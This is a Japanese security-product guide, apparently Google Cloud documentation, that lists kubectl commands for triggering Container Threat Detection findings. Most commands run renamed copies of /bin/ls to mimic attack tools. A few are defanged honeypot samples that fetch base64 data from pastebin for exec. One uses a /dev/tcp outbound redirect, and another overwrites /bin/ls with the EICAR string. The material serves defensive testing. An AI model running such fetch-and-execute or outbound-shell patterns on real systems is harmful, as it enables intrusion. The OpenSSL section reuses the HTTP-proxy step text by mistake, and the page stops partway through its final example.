「実行: Ingress Nightmare 脆弱性の実行」(プレビュー)の検出結果をトリガーするには、コンテナで nginx バイナリを実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイします。/bin/ls を別の場所にコピーして Nginx バイナリ(nginx)に名前を変更し、/proc ファイル システムを参照する追加の引数を指定して実行します。このアクションは、Ingress Nightmare エクスプロイト(CVE-2025-1974)と一致する動作をシミュレートし、リモートでコードが実行される可能性があることを示しているため、不審な動作と見なされます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. nginx などの Nginx バイナリを作成し、/proc ファイル システムにアクセスしながら実行します。

    • x86 ノード:

      tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
      
    • ARM ノード:

      tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により「実行: Ingress Nightmare の脆弱性の実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

実行: Kubernetes 攻撃ツールの実行

「実行: Kubernetes 攻撃ツールの実行」の検出結果をトリガーするには、コンテナにバイナリを配置して実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイします。/bin/ls を別の場所にコピーして、疑わしいツール(amicontained)の名前を変更して実行します。このアクションは、Kubernetes 攻撃ツールの実行試行と一致する動作をシミュレートするため、不審な動作と見なされます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. amicontained などの Kubernetes 攻撃ツールバイナリをドロップして実行します。

    • x86 ノード:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      
    • ARM ノード:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      

Container Threat Detection のロギングを構成している場合は、このテスト手順により、「実行: Kubernetes 攻撃ツールの実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

実行: ローカル偵察ツールの実行

Execution: Local Reconnaissance Tool Execution の検出結果をトリガーするには、コンテナにバイナリを配置して実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイします。/bin/ls を別の場所にコピーして、疑わしいツール(linenum.sh)の名前を変更して実行します。名前を変更したバイナリを実行すると、ローカル偵察の試みと一致する動作がシミュレートされるため、このアクションは不審な動作と見なされます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. linenum.sh などのローカル偵察ツールバイナリを導入して実行します。

    • x86 ノード:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      
    • ARM ノード:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により、「実行: ローカル偵察ツールの実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

実行: 悪意のある Python の実行

「実行: 悪意のある Python の実行」の検出結果をトリガーするには、次の手順に沿ってコンテナ内で Python を実行します。

この手順では、最新の Python イメージをデプロイし、悪意がある可能性のある Python コードをコピーして実行します。検出結果をトリガーするには、Python コードが検出機能によって悪意のあるものと見なされる必要があります。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 新しいコンテナで次のスクリプトを実行します。

    この Python コードは honeypot から取得されたものです。ただし、悪意のあるバイナリを実行しないように変更されています。スクリプトを実行しても、コンテナ内で悪意のあるアクティビティは発生しません。参照された URL のバイナリが存在せず、その URL をたどろうとすると 404 エラーが発生します。これは想定された動作です。インライン スクリプトを使用してバイナリのダウンロード、デコード、実行を試行すると、検出結果がトリガーされます。

    • x86 ノード:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/python:latest \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      
    • ARM ノード:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:3-buster \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により「実行: 悪意のある Python の実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

実行: 変更された悪意のあるバイナリの実行

「実行: 変更された悪意のあるバイナリの実行」の検出結果をトリガーするには、コンテナ内で悪意のあるバイナリを変更して実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイし、/bin/ls を悪意のあるファイルをテストする EICAR として変更してから実行します。作成した /bin/ls は、コンテナの実行時に悪意のあるバイナリをテストする EICAR として変更されます。EICAR バイナリは脅威インテリジェンスに従って既知の悪意のあるファイルであるため、このバイナリの実行は想定外の動作となります。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. EICAR バイナリをドロップして実行します。

    • x86 ノード:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
      
    • ARM ノード:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により「変更された悪意のあるバイナリの実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

ノイズを軽減するため、コンテナを初めて作成する際に「実行: 変更された悪意のあるバイナリの実行」の検出結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中に「実行: 変更された悪意のあるバイナリの実行」の検出結果をすべて表示するには、例のようにコンテナ名または Pod 名の前に ktd-test を付けます。

実行: コンテナでの Netcat リモートコードの実行

Execution: Netcat Remote Code Execution In Container イベントをトリガーするには、ネットワーク通信が可能なバイナリ(netcat 自体、または別のユーティリティの名前変更されたコピーなど)がコンテナ内に存在し、実行されている必要があります。この例では、最新の Ubuntu 24.04 イメージをベースとしてデプロイします。/bin/ls バイナリをコピーし、そのコピーの名前を netcat(ネットワーク ユーティリティ)に変更します。名前を変更したバイナリを、ネットワーク インタラクションに適した引数を使用して実行します。このアクティビティは、コンテナ化された環境内で実際のリモートコード実行の試行中に頻繁に観察される動作を模倣しているため、不審なアクティビティとしてフラグが設定されます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. netcat などのネットワーク通信ツールのバイナリを導入し、適切な引数を指定して実行します。

    • x86 ノード:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
      
    • ARM ノード:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により Execution: Netcat Remote Code Execution In Container の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

実行: リモート コマンド実行の可能性の検出

Execution: Possible Remote Command Execution Detectedプレビュー)の検出結果をトリガーするには、リモート コマンド実行に通常関連付けられているコマンドまたはバイナリの実行がコンテナ内で確認される必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls をコピーして touch(または find などの別のツール)に名前を変更します。名前を変更したバイナリを、リモート コマンド実行に適した引数で実行します。この動作は、コンテナへの不正なリモート アクセスを確立しようとしている可能性があるため、不審な動作としてフラグが設定されます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 適切な引数を指定して touch などのバイナリを実行します。

    • x86 ノード:

      tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
      
    • ARM ノード:

      tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch -o /tmp/touch.o"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により Execution: Possible Remote Command Execution Detected の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

実行: 許可されていない HTTP プロキシ環境でのプログラムの実行

Execution: Program Run with Disallowed HTTP Proxy Env の検出結果をトリガーするには、コンテナ内でプログラムを実行し、HTTP プロキシ環境変数を許可されていない値に設定します。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls ユーティリティをコピーし、名前を /tmp/curl に変更します。名前を変更したバイナリは、HTTP プロキシ環境変数(HTTP_PROXYhttp_proxy など)に許可されていない値が設定された状態で実行されます。プログラムの実行と許可されていない HTTP プロキシ環境の存在の組み合わせは、不正なプロキシを介して通信を試みていることを示唆しているため、不審な動作としてフラグが設定されます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. curl などのネットワーク対応バイナリを実行し、許可されていない HTTP プロキシ環境変数を使用して実行します。

    • x86 ノード:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      
    • ARM ノード:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により Execution: Program Run with Disallowed HTTP Proxy Env の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

実行: 不審な OpenSSL 共有オブジェクトの読み込み

Execution: Suspicious OpenSSL Shared Object Loaded の検出結果をトリガーするには、.so 拡張子で終わるファイルを引数として openssl engine コマンドを実行します。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls ユーティリティをコピーし、名前を /tmp/openssl に変更します。名前を変更したバイナリを、engine と偽の .so ファイル引数で実行します。.so ファイルを使用した openssl engine の実行は、悪意のあるコードを実行するために共有オブジェクトが読み込まれる動作を模倣しているため、不審な動作としてフラグが設定されます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. curl などのネットワーク対応バイナリを実行し、許可されていない HTTP プロキシ環境変数を使用して実行します。

    • x86 ノード:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"
      
    • ARM ノード:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により Execution: Suspicious OpenSSL Shared Object Loaded の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

データの引き出し: コンテナでのリモート ファイル コピー ツールの起動

Exfiltration: Launch Remote File Copy Tools In Container の検出結果をトリガーするには、コンテナ内で一般的なリモート ファイル コピー ツールを実行します。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls ユーティリティをコピーして名前を /tmp/rsync に変更します。このファイルを実行すると、リモートの(悪意のある可能性のある)ソースからファイルが取得されます。コンテナ内でリモート ファイル取得引数を使用してこのようなツールを実行すると、悪意のあるコードのダウンロードと実行やデータの盗み出しを試みている可能性があるため、不審なアクティビティとしてフラグが設定されます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. rsync などのリモート ファイル コピー ツールを実行します。

    • x86 ノード:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      
    • ARM ノード:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/rsync; /tmp/rsync"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により Exfiltration: Launch Remote File Copy Tools In Container の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

影響: 悪意のあるコマンドラインの検出

Impact: Detect Malicious Cmdlinesプレビュー)の検出結果をトリガーするには、既知の悪意のあるパターンまたは引数を含むコマンドラインの実行がコンテナ内で検出される必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls バイナリをコピーし、そのコピーの名前を ipfs に変更します。次に、名前を変更したバイナリを実行します。この動作は、悪意のあるコードの実行やセキュリティ制御の回避を試みている可能性があるため、不審な動作としてフラグが設定されます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. ipfs などのバイナリを実行します。

    • x86 ノード:

      tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
      
    • ARM ノード:

      tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により Impact: Detect Malicious Cmdlines の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

影響: ディスクからの大量のデータの削除

Impact: Remove Bulk Data From Disk の検出結果をトリガーするには、データの削除または上書きが可能なバイナリをコンテナに配置して実行します。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls バイナリをコピーし、そのコピーの名前を shred に変更します(または、安全なファイル削除用に設計された同様のユーティリティを使用します)。次に、名前を変更したバイナリを実行します。このアクションは、コンテナ化された環境内のディスクから大量のデータを削除しようとする場合に頻繁に見られる動作を模倣しているため、不審な動作としてフラグが設定されます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. shred などのファイルまたはデータ削除バイナリを導入して実行します。

    • x86 ノード:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      
    • ARM ノード:

      tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/shred; /tmp/shred"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により Impact: Remove Bulk Data From Disk の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

影響: Stratum プロトコルを使用した不審な暗号通貨マイニング アクティビティ

Impact: Suspicious crypto mining activity using the Stratum Protocol の検出結果をトリガーするには、Stratum プロトコルを使用して通信する暗号通貨マイニング ソフトウェアで使用される引数に類似した引数を使用して、コンテナ内でバイナリを実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls をコピーし、そのコピーの名前を疑似バイナリの名前に変更します(暗号通貨マイナーをシミュレートするため)。名前を変更したバイナリを、stratum+tcp などの Stratum プロトコル インジケーターを含む引数で実行します。このアクティビティは、コンテナ化された環境内の暗号通貨マイニング ソフトウェアのネットワーク通信パターンを模倣しているため、不審なアクティビティとしてフラグが設定されます。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. curl などのユーティリティ バイナリを導入し、Stratum プロトコルを使用して通信する暗号通貨マイニング ソフトウェアで使用される引数に似た引数で実行します。

    • x86 ノード:

      tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      
    • ARM ノード:

      tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により Impact: Suspicious crypto mining activity using the Stratum Protocol の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

このテストで実行する bash コマンドの追加の検出結果が表示されることもあります。これは正常な動作です。追加の検出結果は無視してかまいません。

悪意のあるスクリプトの実行

悪意のあるスクリプトの実行の検出結果をトリガーするには、コンテナ内で次の手順に沿ってスクリプトを実行します。

この手順では、最新の Ubuntu 24.04 イメージをデプロイし、悪意がある可能性のあるスクリプトをコピーして実行します。検出をトリガーするには、スクリプトが検出機能によって悪意のあるものと見なされる必要があります。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. 新しいコンテナで次のスクリプトを実行します。

    このインライン Bourne シェル スクリプトは、ハニーポットから発信されました。ただし、悪意のあるバイナリを実行しないように変更されているため、スクリプトを実行してもコンテナ内で悪意のあるアクティビティは発生しません。参照された URL のバイナリが削除されている可能性があり、その URL をたどろうとすると 404 エラーが発生します。これは想定された動作です。インライン スクリプトを使用してバイナリのダウンロード、デコード、実行を試行すると、検出結果がトリガーされます。

    • x86 ノード:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      
    • ARM ノード:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      

Container Threat Detection のロギングを構成している場合、このテスト手順により、「悪意のあるスクリプトの実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。

悪意のある URL の観測

悪意のある URL の観測の検出結果をトリガーするには、バイナリを実行し、悪意のある URL を引数として指定します。

次の例では、Ubuntu 24.04 イメージをデプロイして /bin/curl を実行し、セーフ ブラウジング サービスからサンプルのマルウェア URL にアクセスします。

  1. 環境変数を設定します

  2. Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. curl を実行し、引数として悪意のある URL を指定します。

    • x86 ノード:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
      
    • ARM ノード:

